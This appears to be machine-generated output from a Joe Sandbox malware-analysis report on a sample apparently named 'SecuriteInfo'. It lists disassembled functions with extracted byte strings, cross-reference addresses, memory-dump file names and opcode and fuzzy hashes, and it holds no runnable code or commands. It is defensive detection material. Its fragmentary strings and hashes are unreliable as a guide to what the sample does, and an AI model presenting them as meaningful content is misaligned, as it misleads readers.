Download Yara Rule

Strings

D, xrefs: 00409D0A
~, xrefs: 00409D05
?, xrefs: 00409C5B
>, xrefs: 00409BB9
2, xrefs: 00409E72
', xrefs: 00409E77
}, xrefs: 00409D14
<, xrefs: 00409BAF
I, xrefs: 00409D0F
<, xrefs: 00409C56
?, xrefs: 00409BB4
>, xrefs: 00409C60
6, xrefs: 00409DEF
(, xrefs: 00409DF4

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: '$($2$6$<$<$>$>$?$?$D$I$}$~
API String ID: 0-1549446310
Opcode ID: 367a348c16854c040ed8a8e1c50337844c82badbceb661a6883815d7b6a28ffd
Instruction ID: eab630ac940c9bb134d3bc5b6197509a36b0814db35624b52a62fc1994bd31e3
Opcode Fuzzy Hash: 367a348c16854c040ed8a8e1c50337844c82badbceb661a6883815d7b6a28ffd
Instruction Fuzzy Hash: 99B1E66390D7D14AD311857D884424BEEC21BE7224F2E8ABEE9E4D73C6D57D8C068397

Function 003D12D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0000, xrefs: 003D280E
0, xrefs: 003D21FF
0, xrefs: 003D2151
0000, xrefs: 003D27AC
0000, xrefs: 003D27A5
0000, xrefs: 003D27C1
0000, xrefs: 003D27B3
0000, xrefs: 003D27BA
0, xrefs: 003D2449
@, xrefs: 003D29AF
i, xrefs: 003D2A7E
0000, xrefs: 003D27C8

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 33f05af4f604d6d7de3150400ba75456d306a8ab90e2d6afb47888918ce70d17
Instruction ID: 2a9fa29e399c72abe15d6e13fce01001ed751f09dcc2d3de7c27889b31e67e95
Opcode Fuzzy Hash: 33f05af4f604d6d7de3150400ba75456d306a8ab90e2d6afb47888918ce70d17
Instruction Fuzzy Hash: A282C376A093818FC71ACF28D49071BFBE1ABA5304F19896EE8D697391D374DD05CB82

Function 003DD760 Relevance: 10.3, Strings: 8, Instructions: 302COMMON

Download Yara Rule

Strings

UW, xrefs: 003DDA8B
UQGq, xrefs: 003DD929
^\V^, xrefs: 003DD919
9tWU, xrefs: 003DDA83
<194, xrefs: 003DDA73
^, xrefs: 003DDA92
ALC:, xrefs: 003DD931
JHz~, xrefs: 003DDA63

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 9tWU$<194$ALC:$JHz~$UQGq$UW$^$^\V^
API String ID: 0-3233791986
Opcode ID: 1b76c00ea30690e806b229d34a8721d4fbe8444d2ee39c48be022f5bad116e41
Instruction ID: fc91185554668428191e8fcc8f593f9d22e512c9fd8d30153c594bd95a886a06
Opcode Fuzzy Hash: 1b76c00ea30690e806b229d34a8721d4fbe8444d2ee39c48be022f5bad116e41
Instruction Fuzzy Hash: E791BC7250D3918FD322CF29945036AFFE0AF96704F09899DE4E99B352C735C90ACB96

Function 003DD500 Relevance: 10.2, Strings: 8, Instructions: 218COMMON

Download Yara Rule

Strings

*#1/, xrefs: 003DD602
x|.", xrefs: 003DD5DA
x, xrefs: 003DD64A
s$>%, xrefs: 003DD5E2
sp$., xrefs: 003DD69D
9&!:, xrefs: 003DD5EA
&%9b, xrefs: 003DD5F2
)vBW, xrefs: 003DD572

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: &%9b$)vBW$*#1/$9&!:$s$>%$sp$.$x$x|."
API String ID: 0-2964809603
Opcode ID: e15111653fabfa8ae9ca1ff26d6d509ab9527342194df1257f5b8c1e77c5e471
Instruction ID: 6d54717354f6ff185090c209f6afd56489693cb0650b7e9859796665d48db5a8
Opcode Fuzzy Hash: e15111653fabfa8ae9ca1ff26d6d509ab9527342194df1257f5b8c1e77c5e471
Instruction Fuzzy Hash: A951D47510D3C08BD316CF2995A076BBFE1AF93305F1859ADE4D54B391D37A880ACB62

Function 003DF250 Relevance: 9.2, Strings: 7, Instructions: 471COMMON

Download Yara Rule

Strings

zMNO, xrefs: 003DF522
w%G', xrefs: 003DF4E6
N=G?, xrefs: 003DF4FA
vIyK, xrefs: 003DF518
DuVw, xrefs: 003DF337
EqLs, xrefs: 003DF330
^9[;, xrefs: 003DF4F0

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: DuVw$EqLs$N=G?$^9[;$vIyK$w%G'$zMNO
API String ID: 0-2443247208
Opcode ID: 3eaa976357affad0ed595148e11fe9cd5a0ea6ccf5b78434359186f377c4bbda
Instruction ID: 8321a2302a9cb92e1b77404f6d7be3b1e459e3895a1c5ed20ad73512bea22260
Opcode Fuzzy Hash: 3eaa976357affad0ed595148e11fe9cd5a0ea6ccf5b78434359186f377c4bbda
Instruction Fuzzy Hash: 111225B1204B01DFD3248F25D895B93BBF5FB45314F148A2DD4AA8BBA0D774B849CB94

Function 003DDB20 Relevance: 9.1, Strings: 7, Instructions: 361COMMON

Download Yara Rule

Strings

Zb, xrefs: 003DDE0C
hVkg, xrefs: 003DDC0B, 003DDC16
Lk, xrefs: 003DDE24
\_, xrefs: 003DDF92
`, xrefs: 003DDCDC
U\, xrefs: 003DDFDA
828CF50C6B8EF1869407B331AA84AE48, xrefs: 003DDC11

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 828CF50C6B8EF1869407B331AA84AE48$Lk$U\$Zb$\_$`$hVkg
API String ID: 0-2472597082
Opcode ID: b136eecb9f2f4d598f69556bf9f8e6ea9053d9c95d5a22d768b93b19b06b24a1
Instruction ID: 535e5f0501a09ca0299a23ee77b0f2235bf777728bbee40c6b07c63384da64ab
Opcode Fuzzy Hash: b136eecb9f2f4d598f69556bf9f8e6ea9053d9c95d5a22d768b93b19b06b24a1
Instruction Fuzzy Hash: 6CC1D0B164C3408FE720DF25E88176BBBE6EBD5314F14892DE1D58B392DA7885098B93

Function 003F0A24 Relevance: 8.0, Strings: 6, Instructions: 505COMMON

Download Yara Rule

Strings

us, xrefs: 003F0B12
_W, xrefs: 003F0DCD, 003F0EE0
}z{, xrefs: 003F0B20
_W, xrefs: 003F0CAA
RR, xrefs: 003F0CB1
OI, xrefs: 003F0CA3

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: OI$RR$_W$_W$us$}z{
API String ID: 0-2933034762
Opcode ID: 183143505cac266960e197463d982ca0b62d029b41b25c4ebb9bd7bc267d0532
Instruction ID: e3827c47470a2c39fe46eeda94d3f226def70385b0ae37b311e8af6eba2ad33e
Opcode Fuzzy Hash: 183143505cac266960e197463d982ca0b62d029b41b25c4ebb9bd7bc267d0532
Instruction Fuzzy Hash: F5F135B2A113058FCB14CFA9DC816AEBBB2FF84310F18C66DD454AB356D7789946CB90

Function 003F41E0 Relevance: 8.0, Strings: 6, Instructions: 461COMMON

Download Yara Rule

Strings

sq, xrefs: 003F4375
)B, xrefs: 003F428C
){zy, xrefs: 003F4385
G?, xrefs: 003F4707
|~, xrefs: 003F4284
)6, xrefs: 003F4294

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: G?$){zy$)6$)B$|~$sq
API String ID: 0-1969144135
Opcode ID: 9197bd57bc4ac86d0c86e573d0b3f830ac73096b26e07f75fdf49d7a2f36a797
Instruction ID: 3f9203fd860a226ad4dafb39a9979d8b59ed5c45c149133caf37a3cbe793b3ea
Opcode Fuzzy Hash: 9197bd57bc4ac86d0c86e573d0b3f830ac73096b26e07f75fdf49d7a2f36a797
Instruction Fuzzy Hash: 47C120B15083148BD725CF29D85277BB7F1EF92354F198A1CE5D68B3A0EB389805CB82

Function 0040EC20 Relevance: 7.0, Strings: 5, Instructions: 723COMMON

Download Yara Rule

Strings

;:54, xrefs: 0040EE60
InA>, xrefs: 0040F080
f, xrefs: 0040EEC9
;:54, xrefs: 0040ECDD
InA>, xrefs: 0040ED00

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$InA>$InA>$f
API String ID: 2994545307-3857589079
Opcode ID: 406d4d1e05bedc73d2bdebd97ab7dbf3811228d5b0c6033af7ad211f101b810b
Instruction ID: edb22f9de91b98f0642eb90224c861b4a752a90d13b385c25061c73d5b23d2a2
Opcode Fuzzy Hash: 406d4d1e05bedc73d2bdebd97ab7dbf3811228d5b0c6033af7ad211f101b810b
Instruction Fuzzy Hash: 7B32B3726093419FD714CF29C88072BBBE2ABC8314F18CA3EE9959B395D678D845CB46

Function 0053205C Relevance: 6.9, Strings: 5, Instructions: 623COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 0053233E
invalid window size, xrefs: 00532295
header crc mismatch, xrefs: 00532751
unknown compression method, xrefs: 00532261, 00532323
incorrect header check, xrefs: 00532240

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3633268661
Opcode ID: 8870ad61cebed0759257e5a3733fbd18ff1b0e7ae8a99c86386ac9c2de839c05
Instruction ID: f60db98572c23dce2a2a6f3a7aced04570c9ec638b4fc30c87d896893e70e417
Opcode Fuzzy Hash: 8870ad61cebed0759257e5a3733fbd18ff1b0e7ae8a99c86386ac9c2de839c05
Instruction Fuzzy Hash: 3D424B70508741CFDB1ACF28C48475ABBE2FF99304F148AADE8958B396D774D985CB82

Function 003FAA40 Relevance: 6.8, Strings: 5, Instructions: 523COMMON

Download Yara Rule

Strings

gw, xrefs: 003FB4BF
3L,S, xrefs: 003FB67E
t|, xrefs: 003FB4CF
;:54, xrefs: 003FB75C
D4'2, xrefs: 003FB66E

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 3L,S$;:54$D4'2$gw$t|
API String ID: 0-148604455
Opcode ID: 2cbfbec50f0df0b1591cdc980a6a1601dacbb3f93b2caaeda8b795bb901ea7f6
Instruction ID: de83047c103e1692e4c5f0d6323118e4b84930c96aecf60f92b85fc68864388a
Opcode Fuzzy Hash: 2cbfbec50f0df0b1591cdc980a6a1601dacbb3f93b2caaeda8b795bb901ea7f6
Instruction Fuzzy Hash: C0F112B66083448FD7249F25D8816ABFBE2FFC5315F058A2CE5C98B391E7748905CB86

Function 003EECDE Relevance: 6.8, Strings: 5, Instructions: 521COMMON

Download Yara Rule

Strings

;:54, xrefs: 003EF0B7
;:54, xrefs: 003EF169
;:54, xrefs: 003EF209
;:54, xrefs: 003EEF8C
;:54, xrefs: 003EED36

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$;:54$;:54$;:54
API String ID: 2994545307-1306776023
Opcode ID: 42df15d75ab33d43d105e595dd359c1e75254409bdf85e9cea6c929103ae4bac
Instruction ID: e785a7f4747143dc8fc7d2bbea719d27b7705ab0409a76299d4dd7b7182e934c
Opcode Fuzzy Hash: 42df15d75ab33d43d105e595dd359c1e75254409bdf85e9cea6c929103ae4bac
Instruction Fuzzy Hash: D1F16932648390CFD739CB14D8807ABB7A6EB86700F598A3CD5C297792D375DD428B86

Function 003DECC0 Relevance: 6.7, Strings: 5, Instructions: 426COMMON

Download Yara Rule

Strings

ngfa, xrefs: 003DEE26
52, xrefs: 003DEEEA
`a, xrefs: 003DEE78
f\nf, xrefs: 003DF036
\XTR, xrefs: 003DECD2

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 52$\XTR$`a$f\nf$ngfa
API String ID: 0-1621357096
Opcode ID: 5b2c9f72daa34d0bd73c1c30ee8dc6835a8ea5b7c8d1018d26af4898fb6c8443
Instruction ID: c91cfa391956a75aec2f41d8ef587de656626ba18335ea847530a047e62cee97
Opcode Fuzzy Hash: 5b2c9f72daa34d0bd73c1c30ee8dc6835a8ea5b7c8d1018d26af4898fb6c8443
Instruction Fuzzy Hash: 2AD1157260C3508FD315DF29989136BFBE1AFC1310F29C92EE4D59B342D779890A8B92

Function 003F9D00 Relevance: 6.7, Strings: 5, Instructions: 405COMMON

Download Yara Rule

Strings

IJK, xrefs: 003F9E9D
uw, xrefs: 003F9E0E
EG, xrefs: 003F9E92
;:54, xrefs: 003FA1FC
;:54, xrefs: 003F9FCC

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ;:54$;:54$EG$IJK$uw
API String ID: 0-855178105
Opcode ID: 76ed47b2984973d4da921818902b5129ecb696db8c61d4f380fb2fc8c4e34ad1
Instruction ID: 81a004bb5f1f5961ee11c6a42d764cac32accabd7d1ed43627f97128a413744e
Opcode Fuzzy Hash: 76ed47b2984973d4da921818902b5129ecb696db8c61d4f380fb2fc8c4e34ad1
Instruction Fuzzy Hash: 93E123B560C341DFE3248F24EC817ABBBA1FBC5304F15892DE6C98B291DB759845CB86

Function 003D1328 Relevance: 6.6, Strings: 5, Instructions: 389COMMON

Download Yara Rule

Strings

-, xrefs: 003D1ED7
0123456789ABCDEFXP, xrefs: 003D1328
0123456789abcdefxp, xrefs: 003D1332
gfff, xrefs: 003D1F12
gfff, xrefs: 003D1F77

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: 26a6478892022a94571dd5e23a9a978d0ed72764cf1e710a1259a6fdc2596473
Instruction ID: 020c8cb8b6612b3942bbd644cff6ad5f7dcedf6f38252f4c17cd30d74f95f349
Opcode Fuzzy Hash: 26a6478892022a94571dd5e23a9a978d0ed72764cf1e710a1259a6fdc2596473
Instruction Fuzzy Hash: 4EE1A27560C7918FC716CF29D08026BFBE2AFD9314F098A6EE8D987352D234D945CB92

Function 003F55A4 Relevance: 6.4, Strings: 5, Instructions: 157COMMON

Download Yara Rule

Strings

4, xrefs: 003F5623
5, xrefs: 003F561E
:, xrefs: 003F5619
;, xrefs: 003F5614
e, xrefs: 003F5738

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4$5$:$;$e
API String ID: 0-2923545159
Opcode ID: b1a6cb00c812a0e98fd177162f1332949722d9aa68f2d564141df2f39ed95e6a
Instruction ID: 1dc89446df9c8a6801cdd1c53733bed1e0b3987e74e82d6c258be744db04e875
Opcode Fuzzy Hash: b1a6cb00c812a0e98fd177162f1332949722d9aa68f2d564141df2f39ed95e6a
Instruction Fuzzy Hash: FC51D27650CBC48BD321CA68C84435BBBD1AB96328F294A6DD6E5C73C2D279C846CB53

Function 003F8F00 Relevance: 5.5, Strings: 4, Instructions: 489COMMON

Download Yara Rule

Strings

TeVg, xrefs: 003F8B17
pq, xrefs: 003F8B35
;:54, xrefs: 003F8980
HyJ{, xrefs: 003F8B1F

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ;:54$HyJ{$TeVg$pq
API String ID: 0-3800776496
Opcode ID: 07dc54e630dc836d0ed0d0244992cd1089f3d6dd6a00472db82a2fb2100e48fb
Instruction ID: 2d0a1877cb0cdb695077c61a66252d1440b730c0dc2defb2e4a9ea5970b85f7a
Opcode Fuzzy Hash: 07dc54e630dc836d0ed0d0244992cd1089f3d6dd6a00472db82a2fb2100e48fb
Instruction Fuzzy Hash: EBF111729183528BC724CF28C8806BBB3F2FFD9744F19886CE5C55B264DB349946DB86

Function 003FD642 Relevance: 5.3, Strings: 4, Instructions: 333COMMON

Download Yara Rule

Strings

;:54, xrefs: 003FD98C, 003FD6F9, 003FD706
zD{B, xrefs: 003FD538
Fx~F, xrefs: 003FD587
@z., xrefs: 003FD7F6

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @z.$;:54$Fx~F$zD{B
API String ID: 0-1365873924
Opcode ID: dcafc10ce8b3846ad1373db7c8954b067114d72675d7f3b231abce57d61c0d75
Instruction ID: c974e19871680a479fb1726b4c6e447bc2f97778dd807dc4a3bb4374f444a1d6
Opcode Fuzzy Hash: dcafc10ce8b3846ad1373db7c8954b067114d72675d7f3b231abce57d61c0d75
Instruction Fuzzy Hash: 84B1367120C3848FC3069F29A89567B7BE3ABD5314F088A2DF5D48B392D7359A05CB46

Function 00412EB0 Relevance: 4.7, Strings: 3, Instructions: 910COMMON

Download Yara Rule

Strings

G3A, xrefs: 0041331A
"5A, xrefs: 004134F8
@3A, xrefs: 0041336E

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "5A$@3A$G3A
API String ID: 0-2201711607
